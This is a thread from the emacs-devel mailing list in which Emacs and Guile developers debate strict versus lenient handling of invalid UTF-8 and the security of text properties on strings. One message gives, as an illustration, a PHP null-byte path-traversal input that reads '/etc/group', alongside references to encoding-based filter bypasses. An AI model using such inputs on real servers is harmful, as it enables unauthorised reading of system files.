  Other coding systems cannot be distinguished automatically
  from these, and therefore cannot be recognized automatically
  with the present coding system priorities.

Particular coding systems specified for certain file names:

  OPERATION	TARGET PATTERN		CODING SYSTEM(s)
  ---------	--------------		----------------
  File I/O	"\\.dz\\'"		(no-conversion . no-conversion)
		"\\.txz\\'"		(no-conversion . no-conversion)
[...]
  Process I/O	nothing specified
  Network I/O	nothing specified

> For text we are going to send to a process or network stream, we ask
> the above-mentioned question at the time we encode the internal
> representation into the external byte stream we are about to send.

It depends on how you specify the coding system.  When setting the
principally responsible variable for an operation, you get no questions
asked.  When setting some user-level specifiable preference, Emacs will
prompt for alternatives when accepting that preference unasked would
likely have user-level consequences that might or might not be
acceptable.

> E.g., you can see that in action in sending mail if you insert some
> raw bytes into a mail message in a *mail* buffer, and then try sending
> it.  There's no file involved here, at least not as far as Emacs is
> concerned, and yet you will see the same prompt asking you to select a
> proper encoding.

Well, in the case of mail that makes sense since otherwise the content
will not likely survive the designated channel.  It is perfectly
reasonable in my book to not silently go through with operations leading
to a an expected loss of information.

I still don't want the autosave of mail to complain about bad
characters.  It's important that an application can pick where to apply
its checks and balances itself.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Thu, 9 Oct 2014 00:49:17 -0400
> From: Mike Gerwitz <mikegerwitz@gnu.org>
> Cc: rms@gnu.org, dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	eliz@gnu.org
> 
> On Thu, Oct 09, 2014 at 12:56:42PM +0900, Stephen J. Turnbull wrote:
> > Richard Stallman writes:
> > 
> >  > If you demonstrate that this claim is valid, I will be concerned.
> > 
> > *sigh*  Be unconcerned.  The world is a *lot* more hostile today than
> > it was in the days when you posted your passwords on the 'net.
> 
> Agreed. Character encoding attacks are also something that has been
> exploited "in the wild". Some examples include:
> 
>   - UTF-7 character encoding to bypass filters[0] (e.g. for XSS);
>   - IIS WebDAV validation exploit (CVE-2009-1535);[1] and
>   - CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic;[2] and
>   - Google's XSS vulnerability, related to the first item in this list.[3]
> 
> Note that not all of the above may be applicable to the specifics of this
> discussion---the point is to convey, generally, that character encoding
> poses serious threats when improperly handled. Though this discussion seems
> to be about what is "improper".

Aren't you again confusing the application level with the lower
"engine" level?  Applications, which do interpret the text, should
indeed be aware of these issues.  (For the purposes of this
discussion, "application" means Lisp code that processes text, or
presents it to the user, or acts according to user responses.)  But
the "engine" must be able to handle raw bytes, including invalid UTF-8
sequences, unless told otherwise.  Any other default will unduly
punish the innocent majority on behalf of the evil minority.

> With regards to passing raw input to other systems: this isn't necessarily
> Unicode related (unless an invalid sequence contains a null byte), but
> serves to illustrate the point that Mark is trying to make: there is a
> well-known issue in PHP whereby passing a null byte as a parameter to a
> script (e.g. via HTTP GET/POST) opens up a number of attacks.  Specifically,
> PHP handles null bytes in strings (by storing the string length as part of
> the struct that holds the string). However, it makes calls directly to libc.
> So, if an unvalidated input $foo contains "../../../../etc/group\000", and
> PHP makes a call to `fopen' with the path "/webroot/modules/$foo/index.php",
> the result would be opening "/webroot/modules/../../../../etc/group".

So what would you have Emacs do when I'm editing a file with binary
nulls: ask me for each save whether I really mean it, and lecture me
about possible security implications?  The encoding routines have no
idea whether they are encoding a PHP script, much less whether it will
be sent via HTTP.

> I can dig up more examples, but hopefully some of these help to illustrate
> the severity of ignoring character encoding concerns.

Please do, but (a) please make the examples be relevant to what Emacs
does with decoding and encoding external bytestreams, and (b) please
suggest what you think Emacs should do in those cases instead of what
it does now.  Otherwise, this discussion is much less constructive
than it could be, because our concerns are with how the discussed
issues will or should affect Emacs.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> David Kastrup writes:
>
>  > > who may lose their life savings if a filter for 419 phish fails
>  > 
>  > Can we have terrorism with that scaremongering?
>
> Are you really unaware that such exploits happen every day?

So does terrorism.  But the existence of threats is no excuse for
handwaving justifications of measures that do nothing to address the
threats.

> You're not the only programmer who deprecates security because *your*
> applications are "secure enough" and it "can't" happen to you, you
> know.

At the current point of time, we are more talking about deprecating
security theatre rather than security.  Primitive operations that fail
rather than process and pass on information are attack vectors for
denial-of-service attacks.

> Unfortunately, I'm not the one who lacks understanding.  I'm well
> aware that security is costly in convenience and functionality.

How about you explain in what respect XEmacs' non-round-trippability of
utf-8 encoding helps with the security of running AUCTeX?

How about explaining in what respect it helps with security in _any_
regard that XEmacs is not able to faithfully reproduce its input?  How
are you even supposed to _scan_ for malicious input if you refuse to
decode it in recognizable manner?

Again: the responsibilities of an engine and of an application are
different.  And not understanding that and thinking that the former can
somehow absolve the latter from doing its job if it is annoying
enough...  Security theatre.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: David Kastrup <dak@gnu.org>
> Cc: rms@gnu.org,  mhw@netris.org,  dmantipov@yandex.ru,  emacs-devel@gnu.org,  handa@gnu.org,  monnier@iro.umontreal.ca,  stephen@xemacs.org
> Date: Thu, 09 Oct 2014 09:52:31 +0200
> 
> I still don't want the autosave of mail to complain about bad
> characters.

We write the auto-save files in the internal format, so it never
complains.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: David Kastrup <dak@gnu.org>
>> Cc: rms@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
>> emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
>> stephen@xemacs.org
>> Date: Thu, 09 Oct 2014 09:52:31 +0200
>> 
>> I still don't want the autosave of mail to complain about bad
>> characters.
>
> We write the auto-save files in the internal format, so it never
> complains.

If you are not allowed or able to do that...  At the current point of
time, the only round-trippable encoding for bytes that GUILE offers is
latin-1, and the only round-trippable encoding for characters is utf-8.

The conceptual lack of separation between internal and external utf-8
encoding leads to strangenesses like

scheme@(guile-user)> (with-input-from-string "\ufeff!" read-char)
$8 = #\!

Yes, this is a string->string operation losing a byte order mark in
spite of no indication that I would like to get encodings involved in
any manner.

Now we'll probably get "oh, that's a bug, we'll fix it".  But the point
is that being sloppy with the distinction between internal and external
character sets and encodings and "valid" and "invalid" will buy you
unmatched encoding/decoding passes inviting such problems.

And when I can say "let's see where this kind of thinking will lead" and
find a hole to poke within a minute, so will malicious people.  And that
is a real security concern.

Also: if I do not even manage to save a string into a string in "the
internal format" unchanged, good luck with your auto-save file.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > This kind of "argument" will get you no points here, cf Ian Grant.

It's not an argument, it's an explanation of why I'm leaving the
conversation.

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Eli Zaretskii writes:

 > Aren't you again confusing the application level with the lower
 > "engine" level?

No, you and David are confused.  All experience with programming
systems shows that if you leave security up to the application
programmers, you won't get enough.  Remember, the security of a system
is equal to the minimum of the security levels of its components.

Of course the engine level needs to provide the *option* to be
flexible.  But that flexibility must be opt-in for the applications
that need to be nonconformant, not opt-out for the applications that
are happy to conform.  The latter won't bother ("it's too much to
type").

In the case of Emacs coding systems, it's as simple as choosing to
name the conformant coding system 'utf-8, and the non-conformant one
'utf-8-with-rawbytes.  Why does this excite such <adjective deleted>
opposition?

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Eli Zaretskii writes:
>
>  > Aren't you again confusing the application level with the lower
>  > "engine" level?
>
> No, you and David are confused.  All experience with programming
> systems shows that if you leave security up to the application
> programmers, you won't get enough.  Remember, the security of a system
> is equal to the minimum of the security levels of its components.

Annoying and distracting the application programmer is not providing
additional security.  It's security theatre.

> In the case of Emacs coding systems, it's as simple as choosing to
> name the conformant coding system 'utf-8, and the non-conformant one
> 'utf-8-with-rawbytes.  Why does this excite such <adjective deleted>
> opposition?

So first I let the locale and other mechanisms choose an encoding, then
try getting at its choice of coding system before any prompts appear,
then I convert the symbol to a string, check whether the string ends
with "-with-rawbytes" and append it if needed (let's hope it is in the
right location with regard to "-dos" or "-unix" endings) and
lo-and-behold, I am allowed to read a file.  Or network connection.  Or
console output.  If I don't get that, either my control flow will be
affected, or I will receive falsified data not corresponding to the
input that I can't even check for bad bytes and for which I am unable to
figure out byte offsets of various parts in the input because I can no
longer reconstruct the input faithfully.

"Stuff refuses to work" will lose you more users than "stuff refuses to
secondguess".

Stuff like PostScript files are text files with occasional binary
sections.  That's real-world data and dealing with it should not require
preannouncing it every time explicitly.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: "Stephen J. Turnbull" <stephen@xemacs.org>
> Cc: Mike Gerwitz <mikegerwitz@gnu.org>,
>     dak@gnu.org,
>     rms@gnu.org,
>     mhw@netris.org,
>     dmantipov@yandex.ru,
>     emacs-devel@gnu.org,
>     handa@gnu.org,
>     monnier@iro.umontreal.ca
> Date: Thu, 09 Oct 2014 19:50:37 +0900
> 
> In the case of Emacs coding systems, it's as simple as choosing to
> name the conformant coding system 'utf-8, and the non-conformant one
> 'utf-8-with-rawbytes.

We already tried something akin to that, and the users almost
unanimously wanted Emacs to opt-in by default.

> Why does this excite such <adjective deleted> opposition?

Because we've been-there-done-that, and have enough gray hair to prove
that what you are asking will be met with staunch user opposition.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    So first I let the locale and other mechanisms choose an encoding, then
    try getting at its choice of coding system before any prompts appear,
    then I convert the symbol to a string, check whether the string ends
    with "-with-rawbytes" and append it if needed

Is that really a likely scenario?

I expect that a program, doing some non-editing job involving a
network connection, ought to specify a fixed coding system in accord
with the protocol it is communicating with.

If there are programs that want to heuristically select coding systems
for purposes other than reading files, and want to allow raw bytes
when UTF-8 is selected, we can easily accommodate them by providing a
way to say, "If the heuristics say this is utf-8, use the coding
system utf-8-raw-bytes."

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Thu, 09 Oct 2014 13:23:43 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: stephen@xemacs.org, handa@gnu.org, mhw@netris.org,
> 	dmantipov@yandex.ru, emacs-devel@gnu.org, mikegerwitz@gnu.org,
> 	monnier@iro.umontreal.ca, eliz@gnu.org
> 
>     So first I let the locale and other mechanisms choose an encoding, then
>     try getting at its choice of coding system before any prompts appear,
>     then I convert the symbol to a string, check whether the string ends
>     with "-with-rawbytes" and append it if needed
> 
> Is that really a likely scenario?

It is what happens with all our general-purpose commands and APIs that
invoke subprocesses, like shell-command, shell-command-on-region,
start-process, etc.  The default is to use the locale-specific
encoding, and users, of course, are not required to type any specific
coding systems when they invoke those commands/functions.

> I expect that a program, doing some non-editing job involving a
> network connection, ought to specify a fixed coding system in accord
> with the protocol it is communicating with.

The protocols rarely specify encoding, AFAIK.  If they do, we do use
them, e.g., when decoding an email message that specifies its MIME
charset.  But that comes _after_ we already have read the mail into a
buffer in its raw undecoded form.

And, of course, when you invoke a program locally, there's usually no
protocol at all involved.

Re: Emacs Lisp's future

[Thien-Thi Nguyen]

[-- Attachment #1: Type: text/plain, Size: 784 bytes --]

() Richard Stallman <rms@gnu.org>
() Mon, 06 Oct 2014 15:15:20 -0400

   Do people write spam/virus checkers using Guile?

   This issue is specifically about Guile.

Two examples that jump to mind:

GNU Mailutils (http://www.gnu.org/software/mailutils/),
specifically its "Sieve" handling (based on RFC 3028),
is extensible w/ Guile.

In ttn-do (http://www.gnuvola.org/software/ttn-do/),
the program "magic" is a file(1)-workalike, which basically
means it trundles through unknown byte sequences, sometimes
interpreting them as strings.

-- 
Thien-Thi Nguyen
   GPG key: 4C807502
   (if you're human and you know it)
      read my lisp: (responsep (questions 'technical)
                               (not (via 'mailing-list)))
                     => nil

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 197 bytes --]

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    It would be "nice" and "efficient" for Guile to implement properties
    natively so that Emacs could just use those, but Mark is correct to
    worry that those properties would be used to bypass validation modules
    written for pre-property Guile versions.

You keep claiming that is correct while presenting no evidence it is
correct.  Put up or shut up.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

     > you need to show it is real security and really does a useful job.

    I suspect I can't give you a convincing example, because I haven't
    studied the Guile modules "at risk",

Someone else is welcome to convince me, too.

It seems to me that what your argument must be false.
You're saying that module A could pass data to module C
through properties in a string passed through module B.
Yes, it could.  But module A could put the same data in
a global variable and C could read it there.

So where is the "security"?

    Or how about the recent bash lossage?  s-expressions are just Lisp
    data, and could be placed in a property.

These two cases are different in their essential structure.  The Bash
case involves a browser that sends data thru Apache to trick Bash,
with both Apache and Bash being honest.  To do this, it has to fiddle
with data that Bash will look at for some legitimate purpose.

In this case, we have to suppose that A and C are BOTH malicious, and
the question is whether B can (as a security measure) prevent them
from communicating.

I challenge people to demonstrate that Guile provides some real
security against such communication, in the absence of text properties
in strings.

If you can't, then pipe down and leave this to someone else who can.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > *sigh*  Be unconcerned.  The world is a *lot* more hostile today than
    > it was in the days when you posted your passwords on the 'net.

    Agreed. Character encoding attacks are also something that has been
    exploited "in the wild". Some examples include:

You're talking about character encoding, but the message you responded to
was about whether to put text properties in GUILE strings.
The two issues are unrelated.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > I don't think we are talking about the same thing.  I am talking about Lisp
    > functions to do conversions on text that does NOT come from files.

    ... Emacs treats all of these cases the same.

They don't HAVE to be treated the same.  We are talking about changes,
here.

But changes may not be needed.  All operations that do encoding or
decoding allow explicit specification of the coding system.


-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > Asking about invalid UTF-8 in a file could be a nuisance, but how much
    > of a nuisance depends on the details of what we do.  Since this has
    > some security implications, it is worth a small amount of nuisance.

    That wasn't what users felt, overwhelmingly.

Felt when?  About what behavior?

I asked

    > What exactly did we try before?

and you responded

    AFAIR, we tried converting raw bytes into valid non-ASCII characters,
    and perhaps also replacing them with the equivalent of u+FFFD, the
    Unicode "replacement character".

But those are both different from the proposal I'm discussing.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    >     One problem with that is that quite often Emacs' choice of a coding
    >     system for a buffer is the result of heuristics rather than dependable
    >     information.  Not making a fuzz might often be simplest.
    >
    > Could you explain what "fuzz" means here?

    You load a file, edit a line, try saving.  Emacs complains that it feels
    insecure doing so even though the line you edited is perfectly fine.

Sorry, I do not follow you.  Are you proposing a change in current
Emacs behavior?  If so, what change would that be?

    A recurring phenomenon in that direction is generation of number
    presentations that can no longer be processed because of being written
    under the influence of an LC_NUMERIC setting developers did not expect.

I am lost here.  Can you present a specific example?
Do you have a bug to report?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Fri, 10 Oct 2014 10:24:36 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	stephen@xemacs.org
> 
>     > I don't think we are talking about the same thing.  I am talking about Lisp
>     > functions to do conversions on text that does NOT come from files.
> 
>     ... Emacs treats all of these cases the same.
> 
> They don't HAVE to be treated the same.  We are talking about changes,
> here.

They will be very deep and invasive changes, because currently the
encoding/decoding routines don't know the purpose of the stuff they
are producing.

> But changes may not be needed.  All operations that do encoding or
> decoding allow explicit specification of the coding system.

Of course, they do.  But the issue at hand is precisely whether it is
the application's responsibility to explicitly specify conversions
that will be strict wrt invalid byte sequences, or should Emacs do
that by default.  There's no argument that there are facilities in
Emacs to do both.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Fri, 10 Oct 2014 10:24:37 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	stephen@xemacs.org
> 
>     > Asking about invalid UTF-8 in a file could be a nuisance, but how much
>     > of a nuisance depends on the details of what we do.  Since this has
>     > some security implications, it is worth a small amount of nuisance.
> 
>     That wasn't what users felt, overwhelmingly.
> 
> Felt when?

When we tried to be more cautious about these issues than we are now.

> About what behavior?

There are several examples, and I'm not sure I recall all the details
accurately.

One such situation goes like this:

  Visit a file (or receive from another process text) that is encoded
  in Latin-1.

  Insert some text that cannot be encoded in Latin-1, and try saving
  the buffer (or sending it to a process).

Originally, Emacs would complain that Latin-1 cannot be used, and
asked the user to select a different encoding.  Then users of UTF-8
locales complained that these prompts were annoyances, that they
expect Emacs to use UTF-8 silently, without any questions, as long as
UTF-8 can encode the result.  So now that is what we do.

> I asked
> 
>     > What exactly did we try before?
> 
> and you responded
> 
>     AFAIR, we tried converting raw bytes into valid non-ASCII characters,
>     and perhaps also replacing them with the equivalent of u+FFFD, the
>     Unicode "replacement character".
> 
> But those are both different from the proposal I'm discussing.

How are they different?

In any case, I hope you are not expecting to hear about user reactions
to any of the proposals that haven't been tried yet.  Such
expectations are IMO unreasonable.  What I (and I think also David)
were trying to show is that _similar_ situations were met with user
complaints and outcry, and that we are where we are today because we
heeded to those complaints.  I see no reason to believe that user
reaction to the proposals being brought up here will be any different,
just because we tell them "it's about their security" and "trust us,
we know better".  Of course, one can reject the analogies and claim
that "this is different" and/or "this time the reaction will be
different", and there's nothing I could produce as counter-argument to
that except gut feelings based on our previous experience.

RE: Emacs Lisp's future

[Drew Adams]

>   Visit a file (or receive from another process text) that is
>   encoded in Latin-1. Insert some text that cannot be encoded in
>   Latin-1, and try saving the buffer (or sending it to a process).
> 
> Originally, Emacs would complain that Latin-1 cannot be used, and
> asked the user to select a different encoding.  Then users of UTF-8
> locales complained that these prompts were annoyances, that they
> expect Emacs to use UTF-8 silently, without any questions, as long
> as UTF-8 can encode the result.  So now that is what we do.

Is that preference (bother me versus silently change the encoding)
under individual-user control?

If not, why not create a user option for it?  The default behavior
can be the current behavior.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Fri, 10 Oct 2014 09:02:09 -0700 (PDT)
> From: Drew Adams <drew.adams@oracle.com>
> Cc: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru, emacs-devel@gnu.org,
>         handa@gnu.org, monnier@iro.umontreal.ca, stephen@xemacs.org
> 
> >   Visit a file (or receive from another process text) that is
> >   encoded in Latin-1. Insert some text that cannot be encoded in
> >   Latin-1, and try saving the buffer (or sending it to a process).
> > 
> > Originally, Emacs would complain that Latin-1 cannot be used, and
> > asked the user to select a different encoding.  Then users of UTF-8
> > locales complained that these prompts were annoyances, that they
> > expect Emacs to use UTF-8 silently, without any questions, as long
> > as UTF-8 can encode the result.  So now that is what we do.
> 
> Is that preference (bother me versus silently change the encoding)
> under individual-user control?

No, not AFAIK.

Re: Emacs Lisp's future

[Mark H Weaver]

Richard Stallman <rms@gnu.org> writes:

>     Supporting property lists in Scheme raises difficult questions
>
> Do you mean text properties in strings, as in Emacs Lisp?

Yes.

Having mulled it over, I've come to the conclusion that we can add text
properties to Guile strings without adding new security risks to
competently written Scheme code, with the following caveat: text
properties must be invisible to all existing Scheme procedures,
including 'equal?' and 'write'.

However, as an exception to the caveat above, I think we can allow
existing Scheme string operations such as 'substring' and
'string-append' to propagate the text properties.

If you'd like to learn how I came to these conclusions, continue
reading, otherwise you can stop here.

* * *

Guile already supports weak-key (eq) hash tables, upon which we've
trivially implemented something called "object-properties":

  (define my-property (make-object-property))
  (set! (my-property <obj>) 'foo)
  (my-property <obj>) => foo

Effectively, this allows anyone to add a new private field to any
object.  The new field is invisible to anything that doesn't know about
the object property, including equality predicates and all other
standard procedures.

So we could use object-properties to add text properties to Guile
strings.  Therefore, we can regard it as a mere efficiency hack to add a
new field to our string objects, as long as the semantics are the same
as if the new field was an object-property.

However, this still leaves open the question of whether *propagating*
these text properties to newly-allocated strings (by 'substring',
'string-append', etc) adds new risks.

This next step makes me a bit uneasy, but I think it will also be okay,
because standard Scheme does not require 'eq?' to be usable on
characters, i.e. it does not require characters to be immediates or even
interned.

This means that we could, in principle, use object-properties to
associate text properties with the characters themselves, instead of
with the string objects.  This would quite naturally lead to them being
copied by string operations such as 'substring' and 'string-append'.

Therefore, it seems to me that adding text properties to Guile strings
does not add any security issues that are not already present in
standard Scheme.

What do you think?

      Mark

Re: Emacs Lisp's future

[Christopher Allan Webber]

Mark H Weaver writes:

> Richard Stallman <rms@gnu.org> writes:
>
>>     Supporting property lists in Scheme raises difficult questions
>>
>> Do you mean text properties in strings, as in Emacs Lisp?
>
> Yes.
>
> Having mulled it over, I've come to the conclusion that we can add text
> properties to Guile strings without adding new security risks to
> competently written Scheme code, with the following caveat: text
> properties must be invisible to all existing Scheme procedures,
> including 'equal?' and 'write'.
>
> However, as an exception to the caveat above, I think we can allow
> existing Scheme string operations such as 'substring' and
> 'string-append' to propagate the text properties.
>
> If you'd like to learn how I came to these conclusions, continue
> reading, otherwise you can stop here.
>
> * * *
>
> Guile already supports weak-key (eq) hash tables, upon which we've
> trivially implemented something called "object-properties":
>
>   (define my-property (make-object-property))
>   (set! (my-property <obj>) 'foo)
>   (my-property <obj>) => foo
>
> Effectively, this allows anyone to add a new private field to any
> object.  The new field is invisible to anything that doesn't know about
> the object property, including equality predicates and all other
> standard procedures.
>
> So we could use object-properties to add text properties to Guile
> strings.  Therefore, we can regard it as a mere efficiency hack to add a
> new field to our string objects, as long as the semantics are the same
> as if the new field was an object-property.
>
> However, this still leaves open the question of whether *propagating*
> these text properties to newly-allocated strings (by 'substring',
> 'string-append', etc) adds new risks.
>
> This next step makes me a bit uneasy, but I think it will also be okay,
> because standard Scheme does not require 'eq?' to be usable on
> characters, i.e. it does not require characters to be immediates or even
> interned.
>
> This means that we could, in principle, use object-properties to
> associate text properties with the characters themselves, instead of
> with the string objects.  This would quite naturally lead to them being
> copied by string operations such as 'substring' and 'string-append'.
>
> Therefore, it seems to me that adding text properties to Guile strings
> does not add any security issues that are not already present in
> standard Scheme.
>
> What do you think?
>
>       Mark

It sounds, if I am reading this right, that the mechanism by which
properties are being added to scheme strings means that no actual
changes need to be made to Guile strings' datastructures.  If true, that
sounds like a very efficient and ideal solution because it is so
generic.

In fact, I gave it a whirl... you mean something like this?

  (define elisp-properties (make-object-property))
  
  (define (elisp-propertize string . args)
    (let ((copied-string (string-copy string)))
      (set! (elisp-properties copied-string) args)
      copied-string))
  
  (define my-monkey
    (elisp-propertize "monkey" 'eats 'bananas))
  ;; => "monkey"
  
  (elisp-properties my-monkey)
  ;; => (eats bananas)

That's awesome!  And it doesn't feel like we're changing Guile in any
core way just to accomodate elisp, and it seems bidirectionally
compatible...

But as for copying around property lists when copying strings, making
substrings, etc, I think I'm more uncomfortable with that idea using
default Guile methods.  That seems like changing the language in a
substantial way that may even have strange performance issues or
unexpected side effects... would we do such a thing if this were
anything other than Emacs?  Would we do it for Javascript?

But it doesn't seem to me like we need to worry: why not just add a
library like this:


  (use-module (language elisp string-tools))
  
  (elisp-substring (elisp-propertize "monkeys" 'eat 'bananas) 3 6)
  ;; => this would return "key", but with object properties of
  ;;    (eat bananas)
  
  (elisp-substring "monkeys" 3 6)
  ;; => this would return "key", but with no object properties

  (elisp-substring (elisp-propertize "monkeys" 'eat 'bananas) 3 6)
  ;; => this would return "key" with no object properties


The version of substring provided in emacs lisp would of course be
elisp-substring, and strings would work between guile and emacs, but as
for copying around strings with properties, only functions in guile
which care about this would have to deal with it and deal with any
related concerns.

 - Chris

RE: Emacs Lisp's future

[Drew Adams]

> > Richard Stallman <rms@gnu.org> writes:
> >> Do you mean text properties in strings, as in Emacs Lisp?
> > Yes.
> >
> > Having mulled it over, I've come to the conclusion that we can add
> > text properties to Guile strings...with the following caveat: text
> > properties must be invisible to all existing Scheme procedures,
> > including 'equal?' and 'write'....
> >
> > we could, in principle, use object-properties to associate text
> > properties with the characters themselves, instead of with the
> > string objects.  This would quite naturally lead to them being
> > copied by string operations such as 'substring' and 'string-
> > append'.
> 
> ...you mean something like this?
>   (define elisp-properties (make-object-property))
>   (define (elisp-propertize string . args)
>     (let ((copied-string (string-copy string)))
>       (set! (elisp-properties copied-string) args)
>       copied-string))
>   (define my-monkey (elisp-propertize "monkey" 'eats 'bananas))
>   (elisp-properties my-monkey) ;; => (eats bananas)

How would this relate to a future Guile implementation of
Emacs-Lisp text (and overlay) properties, whose values can be
arbitrary Emacs-Lisp thingies?

I know this question jumps the gun, but can we assume that if
an Emacs user puts an arbitrary Lisp thing (e.g., a particular
cons) on some text as a text-property value that that will carry
through to the Scheme implementation in such a way that s?he
can still manipulate the data of that value (e.g. modify the
particular cons cell components)?

IOW, will an Emacs user have the same abilities, and see the
same behavior, wrt text and overlay properties as s?he has and
sees now with Emacs Lisp?

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > They don't HAVE to be treated the same.  We are talking about changes,
    > here.

    They will be very deep and invasive changes, because currently the
    encoding/decoding routines don't know the purpose of the stuff they
    are producing.

No, it's just a matter of setting some parameter to specify a particular
decision in decoding or encoding behavior.

    > But changes may not be needed.  All operations that do encoding or
    > decoding allow explicit specification of the coding system.

    Of course, they do.  But the issue at hand is precisely whether it is
    the application's responsibility to explicitly specify conversions
    that will be strict wrt invalid byte sequences, or should Emacs do
    that by default.

Yes.

It will be easy to specify one or the other, so why not make the default
be strict, except in the primitives that operate on files?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    Having mulled it over, I've come to the conclusion that we can add text
    properties to Guile strings without adding new security risks to
    competently written Scheme code, with the following caveat: text
    properties must be invisible to all existing Scheme procedures,
    including 'equal?' and 'write'.

That makes sense to me.

    However, as an exception to the caveat above, I think we can allow
    existing Scheme string operations such as 'substring' and
    'string-append' to propagate the text properties.

I agree, that's safe.  If the text property values have no effect on
the results of proper Scheme code, then whatever values Scheme
primitives put in the text properties, they can't hurt anything.

The reason why it is important to implement these at the lowest possible
level is efficiency.  If every string in Emacs had to be a higher-level
abstract object, they would surely be slower.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    Originally, Emacs would complain that Latin-1 cannot be used, and
    asked the user to select a different encoding.

That is about Latin-1.  What did Emacs do, at that time, with UTF-8?

						    Then users of UTF-8
    locales complained that these prompts were annoyances, that they
    expect Emacs to use UTF-8 silently, without any questions, as long as
    UTF-8 can encode the result.

